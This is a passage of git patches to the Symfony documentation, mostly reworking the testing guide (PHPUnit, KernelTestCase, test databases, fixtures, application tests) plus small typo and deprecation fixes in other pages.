-    # run all tests in the Util/ directory
-    $ php ./vendor/bin/phpunit tests/Util
+    # run all tests in the Form/ directory
+    $ php ./vendor/bin/phpunit tests/Form
+
+    # run tests for the UserType class
+    $ php ./vendor/bin/phpunit tests/Form/UserTypeTest.php
 
-    # run tests for the Calculator class
-    $ php ./vendor/bin/phpunit tests/Util/CalculatorTest.php
+.. tip::
+
+    In large test suites, it can make sense to create subdirectories for
+    each type of tests (e.g. ``tests/Unit/`` and ``test/Functional/``).
+
+.. _integration-tests:
 
 Integration Tests
 -----------------
 
-An integration test will test a larger part of your application compared to a unit
-test. Integration tests will use the Kernel to fetch a service from the dependency
-injection container.
+An integration test will test a larger part of your application compared to
+a unit test (e.g. a combination of services). Integration tests might want
+to use the Symfony Kernel to fetch a service from the dependency injection
+container.
 
-Symfony tests have access to a special container that includes both the
-public services and the non-removed :ref:`private services <container-public>`
-services::
+Symfony provides a :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
+class to help you creating and booting the kernel in your tests using
+``bootKernel()``::
 
-    // tests/Service/AcmeServiceTest.php
+    // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
 
-    use App\Service\AcmeService;
     use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
 
-    class AcmeServiceTest extends KernelTestCase
+    class NewsletterGeneratorTest extends KernelTestCase
     {
         public function testSomething()
         {
-            // this call is needed; otherwise the container will be empty
             self::bootKernel();
 
-            $container = self::$container;
-            $someService = $container->get(AcmeService::class);
-
-            $result = $someService->something();
-            $this->assertTrue($result);
+            // ...
         }
     }
 
-.. caution::
+The ``KernelTestCase`` also makes sure your kernel is rebooted for each
+test. This assures that each test is run independently from eachother.
 
-    The special container ``test.service_container`` doesn't give access to the
-    private services that have been removed (those who are not used by any
-    other services). The solution is to declare those private services as public
-    in the ``config/services_test.yaml`` file.
+To run your application tests, the ``KernelTestCase`` class needs to
+find the application kernel to initialize. The kernel class is
+usually defined in the ``KERNEL_CLASS`` environment variable
+(included in the default ``.env.test`` file provided by Symfony Flex):
 
-.. tip::
+.. code-block:: env
+
+    # .env.test
+    KERNEL_CLASS=App\Kernel
 
-    To run your application tests, the ``KernelTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony Flex):
+.. note::
 
     If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+    ``getKernelClass()`` or ``createKernel()`` methods of your functional
+    test, which take precedence over the ``KERNEL_CLASS`` env var.
 
 Set-up your Test Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tests creates a Kernel that runs in a special
-``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
-in the ``test`` environment, you can tweak any of your application's settings
-specifically for testing.
+The tests create a kernel that runs in the ``test``
+:ref:`environment <configuration-environments>`. This allows to have
+special settings for your tests inside ``config/packages/test/``.
 
-For example, by default, the Swift Mailer is configured to *not* actually
-deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
-configuration option:
+If you have Symfony Flex installed, some packages already installed some
+useful test configuration. For example, by default, the Twig bundle is
+configured to be especially strict to catch errors before deploying your
+code to production:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/test/swiftmailer.yaml
-
-        # ...
-        swiftmailer:
-            disable_delivery: true
+        # config/packages/test/twig.yaml
+        twig:
+            strict_variables: true
 
     .. code-block:: xml
 
-        <!-- config/packages/test/swiftmailer.xml -->
+        <!-- config/packages/test/twig.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
 
-            <!-- ... -->
-            <swiftmailer:config disable-delivery="true"/>
+            <framework:config strict-variables="true"/>
         </container>
 
     .. code-block:: php
 
-        // config/packages/test/swiftmailer.php
-
-        // ...
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => true,
+        // config/packages/test/twig.php
+        $container->loadFromExtension('twig', [
+            'strict_variables' => true,
         ]);
 
 You can also use a different environment entirely, or override the default
-debug mode (``true``) by passing each as options to the ``createClient()``
+debug mode (``true``) by passing each as options to the ``bootKernel()``
 method::
 
     self::bootKernel([
@@ -197,7 +200,15 @@ method::
 .. tip::
 
     It is recommended to run your test with ``debug`` set to ``false`` on
-    your CI server, as it significantly improves test performance.
+    your CI server, as it significantly improves test performance. This
+    disables clearing the cache. If your tests don't run in a clean
+    environment each time, you have to manually clear it using for instance
+    this code in ``tests/bootstrap.php``::
+
+        // ...
+
+        // ensure a fresh cache when debug mode is disabled
+        (new \Symfony\Component\Filesystem\Filesystem())->remove(__DIR__.'/../var/cache/test');
 
 Customizing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -209,45 +220,112 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
+
+    # ...
     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
+In the test environment, these env files are read (if vars are duplicated
+in them, files lower in the list override previous items):
+
+#. ``.env``: containing env vars with application defaults;
+#. ``.env.test``: overriding/setting specific test values or vars;
+#. ``.env.test.local``: overriding settings specific for this machine.
+
+.. caution::
+
+    The ``.env.local`` file is **not** used in the test environment, to
+    make each test set-up as consistent as possible.
+
+Retrieving Services in the Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In your integration tests, you often need to fetch the service from the
+service container to call a specific method. After booting the kernel,
+the container is stored in ``self::$container``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\NewsletterGenerator;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
+    {
+        public function testSomething()
+        {
+            // (1) boot the Symfony kernel
+            self::bootKernel();
+
+            // (2) use self::$container to access the service container
+            $container = self::$container;
+
+            // (3) run some service & test the result
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
 
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
+            $this->assertEquals(..., $newsletter->getContent());
+        }
+    }
+
+The container in ``self::$container`` is actually a special test container.
+It gives you access to both the public services and the non-removed
+:ref:`private services <container-public>` services.
+
+.. note::
+
+    If you need to test private services that have been removed (those who
+    are not used by any other services), you need to declare those private
+    services as public in the ``config/services_test.yaml`` file.
+
+.. _testing-databases:
 
 Configuring a Database for Tests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
+Tests that interact with the database should use their own separate
+database to not mess with the databases used in the other
+:ref:`configuration environments <configuration-environments>`.
+
+To do that, edit or create the ``.env.test.local`` file at the root
+directory of your project and define the new value for the ``DATABASE_URL``
+env var:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env.test.local
     DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-.. tip::
+This assumes that each developer/machine uses a different database for the
+tests. If the test set-up is the same on each machine, use the ``.env.test``
+file instead and commit it to the shared repository. Learn more about
+:ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
+
+After that, you can create the test database and all tables using:
+
+.. code-block:: terminal
 
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
+    # create the test database
+    $ php bin/console --env=test doctrine:database:create
 
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
+    # create the tables/columns in the test database
+    $ php bin/console --env=test doctrine:schema:create
+
+.. tip::
+
+    A common practice is to append the ``_test`` suffix to the original
+    database names in tests. If the database name in production is called
+    ``project_acme`` the name of the testing database could be
+    ``project_acme_test``.
 
 Resetting the Database Automatically Before each Test
 .....................................................
 
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
+Tests should be independent from each other to avoid side effects. For
+example, if some test modifies the database (by adding or removing an
+entity) it could change the results of other tests.
+
+The `DAMADoctrineTestBundle`_ uses Doctrine transactions to let each test
+interact with an unmodified database. Install it using:
 
 .. code-block:: terminal
 
@@ -266,25 +344,27 @@ Now, enable it as a PHPUnit extension:
         </extensions>
     </phpunit>
 
-This bundle uses a clever trick to avoid side effects without sacrificing
-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
+That's it! This bundle uses a clever trick: it begins a database
+transaction before every test and rolls it back automatically after the
+test finishes to undo all changes. Read more in the documentation of the
+`DAMADoctrineTestBundle`_.
 
 .. _doctrine-fixtures:
 
 Load Dummy Data Fixtures
 ........................
 
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
+Instead of using the real data from the production database, it's common to
+use fake or dummy data in the test database. This is usually called
+*"fixtures data"* and Doctrine provides a library to create and load them.
+Install it with:
 
 .. code-block:: terminal
 
     $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
+Then, use the ``make:fixtures`` command of the `SymfonyMakerBundle`_ to
+generate an empty fixture class:
 
 .. code-block:: terminal
 
@@ -293,7 +373,8 @@ Then, use the ``make:fixtures`` command to generate an empty fixture class:
     The class name of the fixtures to create (e.g. AppFixtures):
     > ProductFixture
 
-Customize the new class to load ``Product`` objects into Doctrine::
+Then you modify use this class to load new entities in the database. For
+instance, to load ``Product`` objects into Doctrine, use::
 
     // src/DataFixtures/ProductFixture.php
     namespace App\DataFixtures;
@@ -332,33 +413,44 @@ Application Tests
 -----------------
 
 Application tests check the integration of all the different layers of the
-application (from the routing to the views). They are no different from unit tests
-or integration tests as far as PHPUnit is concerned, but they have a very specific
-workflow:
+application (from the routing to the views). They are no different from
+unit tests or integration tests as far as PHPUnit is concerned, but they
+have a very specific workflow:
 
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
+#. Make a request;
+#. Click on a link or submit a form;
+#. Test the response;
+#. Rinse and repeat.
 
-Before creating your first test, install the ``symfony/test-pack`` which
-requires multiple packages providing some of the utilities used in the
-tests:
-
-.. code-block:: terminal
-
-    $ composer require --dev symfony/test-pack
+.. note::
 
+    The tools used in this section can be installed via the ``symfony/test-pack``,
+    use ``composer require symfony/test-pack`` if you haven't done so already.
 
 Write Your First Application Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Application tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+Application tests are PHP files that typically live in the ``tests/Controller/``
+directory of your application. They often extend
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. This class
+adds special logic on top of the ``KernelTestCase``. You can read more
+about that in the above :ref:`section on integration tests <integration-tests>`.
+
+If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest``
+using the ``make:test`` command of the `SymfonyMakerBundle`_:
+
+.. code-block:: terminal
+
+    $ php bin/console make:test
+
+     Which test type would you like?:
+     > WebTestCase
 
-As an example, a test could look like this::
+     The name of the test class (e.g. BlogPostTest):
+     > Controller\PostControllerTest
+
+This creates the following test class::
 
     // tests/Controller/PostControllerTest.php
     namespace App\Tests\Controller;
@@ -367,87 +459,36 @@ As an example, a test could look like this::
 
     class PostControllerTest extends WebTestCase
     {
-        public function testShowPost()
+        public function testSomething(): void
         {
+            // This calls KernelTestCase::bootKernel(), and creates a
+            // "client" that is acting as the browser
             $client = static::createClient();
 
-            $client->request('GET', '/post/hello-world');
+            // Request a specific page
+            $crawler = $client->request('GET', '/');
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+            // Validate a successful response and some content
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello World');
         }
     }
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+In the above example, the test validates that the HTTP response was successful
+and the request body contains a ``<h1>`` tag with ``"Hello world"``. The
+``createClient()`` method also returns a client, which is like a browser
+that you can use to crawl your site::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // for instance, count the number of ``.comment`` elements on the page
+    $this->assertCount(4, $crawler->filter('.comment'));
+
 The ``request()`` method (read
 :ref:`more about the request method <testing-request-method-sidebar>`)
 returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
 be used to select elements in the response, click on links and submit forms.
 
-Useful Assertions
-~~~~~~~~~~~~~~~~~
-
-To get you started faster, here is a list of the most common and
-useful test assertions::
-
-    use Symfony\Component\HttpFoundation\Response;
-
-    // ...
-
-    // asserts that there is at least one h2 tag with the class "subtitle"
-    // the third argument is an optional message shown on failed tests
-    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-        'There is at least one subtitle'
-    );
-
-    // asserts that there are exactly 4 h2 tags on the page
-    $this->assertCount(4, $crawler->filter('h2'));
-
-    // asserts that the "Content-Type" header is "application/json"
-    $this->assertResponseHeaderSame('Content-Type', 'application/json');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->headers->contains(
-        'Content-Type', 'application/json'
-    ));
-
-    // asserts that the response content contains a string
-    $this->assertContains('foo', $client->getResponse()->getContent());
-    // ...or matches a regex
-    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-    // asserts that the response status code is 2xx
-    $this->assertResponseIsSuccessful();
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isSuccessful());
-
-    // asserts that the response status code is 404 Not Found
-    $this->assertTrue($client->getResponse()->isNotFound());
-
-    // asserts a specific status code
-    $this->assertResponseStatusCodeSame(201);
-    // HTTP status numbers are available as constants too:
-    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-    // equivalent to:
-    $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-    // asserts that the response is a redirect to /demo/contact
-    $this->assertResponseRedirects('/demo/contact');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-    // ...or check that the response is a redirect to any URL
-    $this->assertResponseRedirects();
-
-.. versionadded:: 4.3
-
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
-
 Working with the Test Client
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -461,41 +502,9 @@ returns a ``Crawler`` instance.
 
 .. tip::
 
-    Hardcoding the request URLs is a best practice for application tests. If the
-    test generates URLs using the Symfony router, it won't detect any change
-    made to the application URLs which may impact the end users.
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            $method,
-            $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            $content = null,
-            $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
+    Hardcoding the request URLs is a best practice for application tests.
+    If the test generates URLs using the Symfony router, it won't detect
+    any change made to the application URLs which may impact the end users.
 
 Use the crawler to find DOM elements in the response. These elements can then
 be used to click on links and submit forms::
@@ -556,6 +565,38 @@ script::
 
     $client->insulate();
 
+.. _testing-request-method-sidebar:
+
+.. sidebar:: More about the ``request()`` Method:
+
+    The full signature of the ``request()`` method is::
+
+        request(
+            $method,
+            $uri,
+            array $parameters = [],
+            array $files = [],
+            array $server = [],
+            $content = null,
+            $changeHistory = true
+        )
+
+    The ``server`` array is the raw values that you'd expect to normally
+    find in the PHP `$_SERVER`_ superglobal. For example, to set the
+    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
+    the ``HTTP_`` prefix for non standard headers)::
+
+        $client->request(
+            'GET',
+            '/post/hello-world',
+            [],
+            [],
+            [
+                'CONTENT_TYPE' => 'application/json',
+                'HTTP_REFERER' => '/foo/bar',
+            ]
+        );
+
 AJAX Requests
 .............
 
@@ -691,6 +732,65 @@ to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
+Useful Assertions
+~~~~~~~~~~~~~~~~~
+
+To get you started faster, here is a list of the most common and
+useful test assertions::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
+
+    // asserts that there is at least one h2 tag with the class "subtitle"
+    // the third argument is an optional message shown on failed tests
+    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
+        'There is at least one subtitle'
+    );
+
+    // asserts that there are exactly 4 h2 tags on the page
+    $this->assertCount(4, $crawler->filter('h2'));
+
+    // asserts that the "Content-Type" header is "application/json"
+    $this->assertResponseHeaderSame('Content-Type', 'application/json');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->headers->contains(
+        'Content-Type', 'application/json'
+    ));
+
+    // asserts that the response content contains a string
+    $this->assertContains('foo', $client->getResponse()->getContent());
+    // ...or matches a regex
+    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
+
+    // asserts that the response status code is 2xx
+    $this->assertResponseIsSuccessful();
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isSuccessful());
+
+    // asserts that the response status code is 404 Not Found
+    $this->assertTrue($client->getResponse()->isNotFound());
+
+    // asserts a specific status code
+    $this->assertResponseStatusCodeSame(201);
+    // HTTP status numbers are available as constants too:
+    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
+    // equivalent to:
+    $this->assertEquals(201, $client->getResponse()->getStatusCode());
+
+    // asserts that the response is a redirect to /demo/contact
+    $this->assertResponseRedirects('/demo/contact');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
+    // ...or check that the response is a redirect to any URL
+    $this->assertResponseRedirects();
+
+.. versionadded:: 4.3
+
+    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
+    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
+    related methods were introduced in Symfony 4.3.
+
 .. index::
    single: Tests; Crawler
 
@@ -922,13 +1022,13 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-End to End Tests (E2E)
-----------------------
+.. TODO
+    End to End Tests (E2E)
+    ----------------------
 
-TODO
-* panther
-* testing javascript
-* UX or form collections as example?
+    * panther
+    * testing javascript
+    * UX or form collections as example?
 
 PHPUnit Configuration
 ---------------------
@@ -976,8 +1076,8 @@ configuration adds tests from a custom ``lib/tests`` directory:
         <!-- ... -->
     </phpunit>
 
-To include other directories in the code coverage, also edit the ``<filter>``
-section:
+To include other directories in the `code coverage analysis`_, also edit the
+``<filter>`` section:
 
 .. code-block:: xml
 
@@ -1012,6 +1112,9 @@ Learn more
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
+.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
+.. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/database.rst b/testing/database.rst
index fb6caa0e553..ec9a25c00c2 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,8 +1,14 @@
 .. index::
    single: Tests; Database
 
-How to Test Code that Interacts with the Database
-=================================================
+How to Test A Doctrine Repository
+=================================
+
+.. seealso::
+
+    The :ref:`main Testing guide <testing-databases>` describes how to use
+    and set-up a database for your automated tests. The contents of this
+    article show ways to test your Doctrine repositories.
 
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
@@ -134,6 +140,3 @@ so, get the entity manager via the service container as follows::
             $this->entityManager = null;
         }
     }
-
-.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
-.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html

From 80ad10481863e78e3a904609599ffd8ab131450d Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sun, 18 Apr 2021 13:09:27 +0200
Subject: [PATCH 2092/7107] Minor fixes

---
 controller.rst                            | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 page_creation.rst                         | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index ef3c3987a96..ec20a05daa8 100644
--- a/controller.rst
+++ b/controller.rst
@@ -271,7 +271,7 @@ the argument by its name:
             ->addTag('controller.service_arguments')
             ->setBindings([
                 '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%'
+                '$projectDir' => '%kernel.project_dir%',
             ])
         ;
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index bae9ee9a8dc..bbfd252de7c 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -528,7 +528,7 @@ The Sample Application in Symfony
 
 The blog has come a *long* way, but it still contains a lot of code for such
 a basic application. Along the way, you've made a basic routing system and
-a method using ``ob_start()`` and ``ob_get_clean()`` to render templates.
+a function using ``ob_start()`` and ``ob_get_clean()`` to render templates.
 If, for some reason, you needed to continue building this "framework" from
 scratch, you could at least use Symfony's standalone :doc:`Routing </routing>`
 component and :doc:`Twig </templates>`, which already solve these problems.
diff --git a/page_creation.rst b/page_creation.rst
index 817c59fc6ff..d348f857855 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -220,7 +220,7 @@ Make sure that ``LuckyController`` extends Symfony's base
           // ...
       }
 
-Now, use the handy ``render()`` function to render a template. Pass it a ``number``
+Now, use the handy ``render()`` method to render a template. Pass it a ``number``
 variable so you can use it in Twig::
 
     // src/Controller/LuckyController.php

From eb0c8a45546687b0d81ebbb7f90aacd33b5396a7 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 18 Apr 2021 14:19:50 +0200
Subject: [PATCH 2093/7107] Calling enableAnnotationMapping without argument is
 deprecated

First argument must be set to true.
---
 components/validator/resources.rst | 11 ++++++-----
 form/unit_testing.rst              |  3 ++-
 2 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7f9b02fb544..91809ec7097 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,14 +106,14 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-method. It takes an optional annotation reader instance, which defaults to
-``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
+``addDefaultDoctrineAnnotationReader`` must also be called to use ``Doctrine\Common\Annotations\AnnotationReader``::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -134,7 +134,8 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 33ef7bd4ca4..376a1f88315 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -219,7 +219,8 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping()
+                ->enableAnnotationMapping(true)
+                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [

From 3857676cabe1ed7b8ad5d99f0e66a00a9256eb3d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 19 Apr 2021 09:18:22 +0200
Subject: [PATCH 2094/7107] remove 4.x versionadded directive

---
 testing.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4033a72db5c..31428c41845 100644
--- a/testing.rst
+++ b/testing.rst
@@ -843,12 +843,6 @@ useful test assertions::
     // ...or check that the response is a redirect to any URL
     $this->assertResponseRedirects();
 
-.. versionadded:: 4.3
-
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
-
 .. index::
    single: Tests; Crawler
 

From e17d15d01c868721f22f24e95916f1c94299d29a Mon Sep 17 00:00:00 2001
From: Fabien Lasserre <fabien@primative.net>
Date: Mon, 19 Apr 2021 11:42:55 +0200
Subject: [PATCH 2095/7107] Fix typo

---
 frontend/encore/dev-server.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 76047ddc2a7..b474d280938 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -8,14 +8,14 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.

From 2a9c17bb143bbfca987904de133a58674d312bfe Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 19 Apr 2021 13:58:55 +0200
Subject: [PATCH 2096/7107] [Mercure] Fix configuration-block

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index d67609f659a..82279c3be63 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -402,7 +402,7 @@ This cookie will be automatically sent by the web browser when connecting to the
 Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
 from it.
 
-add your JWT secret to the configuration as follow ::
+Add your JWT secret to the configuration as follow:
 
 .. configuration-block::
 

From d12df22b3c8c0ebf60e36248e4b4e48aaa17effa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pierre=20Troll=C3=A9?=
 <8363334+trollepierre@users.noreply.github.com>
Date: Mon, 19 Apr 2021 15:43:04 +0200
Subject: [PATCH 2097/7107] update doc with max-age

---
 http_cache/expiration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
